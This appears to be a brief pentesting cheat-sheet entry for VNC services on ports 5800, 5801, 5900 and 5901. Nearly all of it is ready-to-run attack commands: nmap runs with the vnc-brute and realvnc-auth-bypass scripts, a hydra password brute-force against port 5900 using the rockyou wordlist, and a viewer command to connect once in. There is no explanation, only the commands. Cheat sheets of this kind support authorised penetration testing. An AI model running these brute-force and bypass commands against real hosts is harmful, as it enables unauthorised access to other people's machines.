5800,5801,5900,5901 - Pentesting vnc nmap nmap --script vnc-brute -p 5900 $IP nmap -sV -Pn --script vnc-info,realvnc-auth-bypass,vnc-title -p 5900 $IP hydra hydra -s 5900 -P /usr/share/wordlists/rockyou.txt -t 4 $IP vnc connect xtightvncviewer $IP